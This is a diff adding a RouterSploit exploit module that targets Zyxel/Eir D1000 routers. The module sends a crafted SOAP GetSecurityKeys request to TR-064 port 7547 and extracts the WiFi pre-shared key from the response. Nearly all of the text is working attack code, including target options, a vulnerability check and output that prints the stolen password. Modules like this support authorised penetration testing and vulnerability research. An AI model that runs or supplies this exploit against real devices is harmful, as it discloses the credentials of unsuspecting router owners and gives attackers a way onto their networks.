Zyxel/Eir D1000 WiFi password disclosure exploit

routersploit/modules/exploits/zyxel/d1000_wifi_password_disclosure.py

+import re
+
+from routersploit import (
+    exploits,
+    print_error,
+    print_success,
+    http_request,
+    mute,
+    validators,
+    print_table,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for Zyxel/Eir D1000 Password Disclosure vulnerability.
+    If the target is vulnerable it allows to read WiFi password.
+    """
+    __info__ = {
+        'name': 'Zyxel Eir D1000 WiFi Password Disclosure',
+        'description': 'Module exploits WiFi Password Disclosure vulnerability in Zyxel/Eir D1000 devices.'
+                       'If the target is vulnerable it allows to read WiFi password.',
+        'authors': [
+            'Xiphos http://www.xiphosresearch.com/',  # vulnerability discovery, poc exploit
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://github.com/XiphosResearch/exploits/tree/master/tr-06fail',
+        ],
+        'devices': [
+            'Zyxel EIR D1000',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(7547, 'Target port')  # default port
+
+    def run(self):
+        creds = []
+        password = self.get_wifi_key()
+
+        if password is not None:
+            creds.append(("WiFi Password", password))
+            print_success("Target seems to be vulnerable")
+            print_table(("Parameter", "Value"), *creds)
+        else:
+            print_error("Target seems to be not vulnerable")
+
+    @mute
+    def check(self):
+        if self.get_wifi_key() is not None:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable
+
+    def get_wifi_key(self):
+        url = "{}:{}/UD/act?1".format(self.target, self.port)
+
+        headers = {"SOAPAction": "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys"}
+        data = ("<?xml version=\"1.0\"?>"
+                "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
+                " <SOAP-ENV:Body>"
+                "  <u:GetSecurityKeys xmlns:u=\"urn:dslforum-org:service:WLANConfiguration:1\">"
+                "  </u:GetSecurityKeys>"
+                " </SOAP-ENV:Body>"
+                "</SOAP-ENV:Envelope>")
+
+        response = http_request(method="POST", url=url, headers=headers, data=data)
+        if response is None:
+            return None
+
+        password = re.findall("<NewPreSharedKey>(.*?)</NewPreSharedKey>", response.text)
+
+        if len(password):
+            return password[0]
+
+        return None